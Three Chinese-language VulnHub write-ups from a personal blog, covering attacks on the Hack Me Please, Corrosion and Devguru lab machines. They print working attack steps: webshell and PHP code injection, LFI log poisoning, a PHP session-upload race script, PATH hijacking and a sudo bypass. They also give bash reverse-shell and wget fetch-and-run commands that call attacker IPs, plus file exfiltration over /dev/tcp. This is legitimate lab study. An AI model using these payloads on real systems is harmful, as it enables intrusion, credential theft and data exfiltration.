Hack Me Please (VulnHub Writeup)

URL : https://www.vulnhub.com/entry/hack-me-please-1,731/ IP : 192.168.1.111 Recon 掃 Portrustscan -a 192.168.1.111nmap -A -p80,3306,33060 192.168.1.111- 掃 Dir- python3 dirsearch.py -u http://192.168.1.111/ 看不出啥特別ㄉ觀察首頁- 觀察 main.js- 發現註解寫了一個 /seeddms51x/seeddms-5.1.22 的路徑 DMS 掃路徑發現有 install 等資訊觀察原始碼- 到 SorceForge 下載原始碼觀察路徑- 發現路徑內有 /conf/ 可能有重要的資訊/conf/settings.xml 可以存取- 裡面找到 mysql 的帳密 seeddms MySQL 進行 MySQL 連線觀察 DB- 觀察表格- users- 找到一組帳密saket saurav Saket@#$1337但登入 DMS 失敗找到 tblUsers- 分析 hash 應該是 md5哈希貓爆破- 爆不出來QQ自己創一個使用者 mysql INSERT INTO tblUsers (id,login,pwd,fullName,email,role,language,theme,comment) VALUES (3,"meow","4a4be40c96ac6314e91d93f38043a634","Meow","meow@meow.meow",1,"en_US",0,0);- 可以登入,但畫面是白的 QQ改使用者密碼- 原本是 f9ef2c539bad8a6d2f3432b6d49ab51a先存著備用,怕以後要用到update tblUsers set pwd='4a4be40c96ac6314e91d93f38043a634' where id=1;- 就登入成功ㄌ上傳 webshell因為 seeddms51x 目錄沒有鎖權限- 根據觀察,檔案會存在 http://192.168.1.111/seeddms51x/data/1048576/{檔案ID}/1.{檔案附檔名}載 Reverse shell- http://192.168.1.111/seeddms51x/data/1048576/4/1.php?A=wget%20192.168.1.109:8000/s_l接上 Reverse shell- 使用交互式python3 -c 'import pty; pty.spawn("/bin/bash")'切換使用者- 使用當初 DB 看到的密碼提權- sudo -l 發現可以直接成為 root

2021-09-02 · 1 分鐘 · steven

Corrosion (VulnHub Writeup)

URL : https://www.vulnhub.com/entry/corrosion-1,730/ IP : 35.229.145.176 Recon 掃 Portrustscan -a 35.229.145.176 -r 1-65535nmap -A -p80,22 35.229.145.176- 掃路徑- python3 dirsearch.py -u 35.229.145.176只掃到 /tasks/裡面有一個 todo list 換不同的 dict- python3 dirsearch.py -u http://35.229.145.176/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt掃到 /blog-post http://35.229.145.176/blog-post/繼續掃- python3 dirsearch.py -u http://35.229.145.176/blog-post/找到 archives 裡面有一個 php LFI 2 RCE 通靈到可以用 ?file 來做 LFIhttp://35.229.145.176/blog-post/archives/randylogs.php?file=php://filter/convert.base64-encode/resource=randylogs.phpPD9waHAKICAgJGZpbGUgPSAkX0dFVFsnZmlsZSddOwogICBpZihpc3NldCgkZmlsZSkpCiAgIHsKICAgICAgIGluY2x1ZGUoIiRmaWxlIik7CiAgIH0KICAgZWxzZQogICB7CiAgICAgICBpbmNsdWRlKCJpbmRleC5waHAiKTsKICAgfQogICA/Pgo=``php http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../etc/passwd- 根據題目提示說 auth.log 沒關- http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../var/log/auth.logauth.log 會把 ssh 登入的帳號給紀錄- ssh 'meow@35.229.145.176' 寫 phpinfo- ssh '@35.229.145.176' 寫 shell- ssh '@35.229.145.176' http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../var/log/auth.log&A=id 戳 reverse shell- bash -c 'bash -i >& /dev/tcp/35.201.246.140/7877 0>&1' wget 35.201.246.140:8000/s http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../var/log/auth.log&A=wget%2035.201.246.140:8000/s -O /tmp/s http://35.229.145.176/blog-post/archives/randylogs.php?file=../../../../../../../var/log/auth.log&A=bash /tmp/s 補充,喵策會解法,LFI 無限制 RCE (PHP_SESSION_UPLOAD_PROGRESS) import grequests sess_name = 'meowmeow' sess_path = f'/var/lib/php/sessions/sess_{sess_name}' base_url = 'http://35.229.145.176/blog-post/archives/randylogs.php' param = "file" # code = "file_put_contents('/tmp/shell.php','& /dev/tcp/{domain}/{port} 0>&1'");''' while True: req = [grequests.post(base_url, files={'f': "A"*0xffff}, data={'PHP_SESSION_UPLOAD_PROGRESS': f"pwned:"}, cookies={'PHPSESSID': sess_name}), grequests.get(f"{base_url}?{param}={sess_path}")] result = grequests.map(req) if "pwned" in result[1].text: print(result[1].text) break 進入 Shell python3 -c 'import pty; pty.spawn("/bin/bash")' 直接 sudo -l 嘗試提權 需要密碼準備 LinEnum- wget 35.201.246.140:8000/LinEnum.sh 找到一個可疑檔案有 SGID- 傳出可疑檔案分析- 本機 nc -l -p 1234 > write.ul 靶機 cat /usr/bin/write.ul > /dev/tcp/35.201.246.140/1234用 IDA 觀察- 看起來不像是需要逆的東西 QQ 再繼續觀察準備 Linpeas- 找到備份檔案- 裡面有密碼傳出來- cat user_backup.zip > /dev/tcp/35.201.246.140/1234用約翰爆破 zip- zip2john user_backup.zip > j john j --wordlist=/opt/rockyou.txt 取得密碼為 !randybaby解壓縮,取得密碼- randylovesgoldfish1998透過 ssh 登入- 帳號 randy 密碼 ``randylovesgoldfish1998`取得 userflag- 二次提權 sudo -l 起手式 觀察先前壓縮檔中的程式 因為他是 sudo 所以無法做 path 的汙染QQ觀察檔案權限- 發現他有 suid,所以不用sudo就可以用 PATH 汙染 cat 了!echo "bash -c 'bash -i >& /dev/tcp/35.201.246.140/7878 0>&1'" > cat``chmod +x cat``PATH=/home/randy/fakepath:$PATH /home/randy/tools/easysysinfo收 reverse shell- 取得 root flag- 心得 學到了喵策會的 LFI 大絕招 ; 除了 sudo 外還要在意 SUID,看樣子常常忘東忘西可能要來準備 Check list 了QQ

2021-08-14 · 2 分鐘 · steven

Devguru (VulnHub Writeup)

URL : https://www.vulnhub.com/entry/devguru-1,620/ IP : 192.168.1.138 覺得打 Tryhackme 也一陣子了,可以回來打打看 VulnHub 的 OSCP 模擬題試試水溫,不過看樣子打起來還是有一點辛苦QQQ 部屬機器 載下來解壓縮後,是虛擬盒子的 OVA,開虛擬盒子,網路改橋接試試看很棒,這台機器自動的告訴我們 IP 惹,不需要用奇怪的方法來找 IP Recon 先掃 Portrustscan -a 192.168.1.138 發現有開 22,80,8585nmap -A -p22,80,8585 192.168.1.138- 用 nmap 大致掃一下python3 dirsearch.py -u http://192.168.1.138/- 用 Dirsearch 掃描,觀察看看有沒有什麼有趣ㄉ東西 發現他的 .git 竟然存在,可以嘗試用 Githack 把資料復原 還有一個 adminer 是類似 PHP My Admin 的東西觀察 80 port- 是一個叫做 October 的 CMS 而 Adminer 版本是 4.7.7觀察 8080 port- 是一個 Gitea 版本是 1.12.5 版本有符合的 Exploithttps://www.exploit-db.com/exploits/49571 wget https://www.exploit-db.com/download/49571 -O 49571.py 發現執行的話需要密碼,所以先放一邊留存- 發現一個唯一的使用者叫做 frank 他沒有公開的 repoGithack- git clone https://github.com/lijiejie/GitHack python GitHack.py http://192.168.1.138/.git/復原之後覺得裡面的資料滿多的,亂晃一下發現有趣的東西 資料庫密碼- 帳號 : october 密碼 : SQ66EBYx4GT3byXH` 資料庫名稱 octoberdb嘗試使用 Adminer 登入- http://192.168.1.138/adminer.php 發現可以順利登入 破解 Hash 成功登入 觀察 Backend Users 發現了一組使用者以及密碼 hash 使用者名稱 : frank 密碼 Hash : $2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK觀察網站- http://192.168.1.138/backend/backend/auth/signin 使用 frank 做為帳號登入 但我們需要知道密碼是什麼 QQQ暴力破解?- john frank.txt --wordlist=rockyou.txt 在我家的超級電腦跑了 10 分鐘也沒有結果,看起來應該不是 這到底是什麼 hash?- 使用這個網站 https://www.tunnelsup.com/hash-analyzer/ 貼上 hash 值$2y$10$bp5wBfbAN6lMYT27pJMomOGutDF2RKZKYZITAupZ3x8eAaYgN6EKK可以自動分析出他叫做 bcrypt我們可以尋找 bcrypt 的產生器,幫我們產出一組符合規格的 hash- https://bcrypt-generator.com/ 我們隨便輸入一組密碼 meowmeow12345他就產出惹$2a$12$LnBY8Lzpcq1/Z90x41QZT.fkJKfcWvFtYzQc9Ex4vzAHSvFLn6.Ce但登入卻一直噴錯 QQ繼續挖 DB 會發現帳號被 suspend 了QQ那我們就直接把這一筆刪掉ㄅ !!另外還觀察到使用者的 DB 裡面有一組 persist_code- 暫時不知道是幹嘛的,先存下來備用 $2y$10$hnhKQ8hTe9b3SoZgXhBuT.HG17VvEdBXe86hEq1qdIknkcM1rbxYi順利登入 CMS- 想試試看在上傳檔案的地方上傳 webshell 或是透過修改檔名之類的方法先傳 .txt 再改 .php 都失敗 SSTI- 在 CMS 的 Assets 地方發現可以 SSTI 輸入錯誤的資料會爛掉 從 Debug 頁面可以看出他是使用 TWIG 做為模板引擎嘗試使用一些測試的 Payload但大多數都失敗 QQ插入 Command- 在 October CMS 上,可以看到 https://octobercms.com/docs/cms/pages 可以直接插入 Codephp function onStart() { system($_GET['A']); } 然後就成功ㄌ! 進入系統 嘗試用 Command 載 reverse shell192.168.1.138/?A=wget 192.168.1.106:8000/s_l -O /tmp/s 戳 Reverse shell- nc -nvlp 7877 成功!LinPeas- wget 192.168.1.106:8000/linpeas.shbash linpeas.sh- 找到可能有用的密碼!! 把密碼檔案用 nc 傳出來- nc -l -p 1234 > meow `nc 192.168.1.106 1234 登入 Gitea 登入 SQL 觀察使用者 發現是一種 pbkdf2 的 hash 演算法hash :c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900 salt :Bop8nwtUiM passwd_hash_algo : argon2觀察 hash 長度- len("c200e0d03d1604cee72c484f154dd82d75c7247b04ea971a96dd1def8682d02488d0323397e26a18fb806c7a20f0b564c900") 長度是 400 bits = 50 BytesGoogle 到 pbkdf2 的產生器產密碼- https://neurotechnics.com/tools/pbkdf2-test 但後來登入都失敗了 QQ去 Github 上搜尋 passwd_hash_algo 找到了別人現成的 hash- https://github.com/go-gitea/gitea/blob/22a0636544237bcffb46b36b593a501e77ae02cc/models/fixtures/user.ymlpasswd:`a3d5fcd92bae586c2e3dbe72daea7a0d27833a8d0227aa1704f4bbd775c1f3b03535b76dd93b0d4d8d22a519dca47df1547b # password- 該 hash 值 就是 passwordsalt: ZogKvWdyExpasswd_hash_algo: argon2`把他們填進去 SQL 中http://192.168.1.138:8585/user/login?redirect_to=- frank / password 嘗試登入,就登入成功ㄌ!使用剛剛前面載的 Exploit- https://www.exploit-db.com/exploits/49571 nc -nvlp 7879 python3 49571.py -t http://192.168.1.138:8585 -u frank -p password -I 192.168.1.106 -P 7879 但都打不進去 QQ觀察使用者的 Git- 觀察到他有用 githook 做 CI/CD所以可以試著在這邊 bash 上加 reverse shell- bash -c 'bash -i >& /dev/tcp/192.168.1.106/7879 0>&1' 改完之後會發現 update 亮綠燈接著來亂改他的 readme.md 、發 Commit- 成功拿到使用者的 Shell! 提權 sudo -l 觀察 發現我們可以用 sudo 執行 sqlite3再跑一次 Linpeas- 看起來沒什麼特別,但我們可以注意 sudo 版本sudo -V- 發現是 1.8.21p2 版本CVE-2019-14287 可以用 sudo -u#-1 binary 來繞密碼GTFOBins 可以找到 SQLite3 的 sudo 利用方法- https://gtfobins.github.io/gtfobins/sqlite3/#sudo 串成完整的 Payloadsudo -u#-1 /usr/bin/sqlite3 /dev/null '.shell /bin/sh'執行!!- 取得Root Flag-

2021-08-08 · 2 分鐘 · steven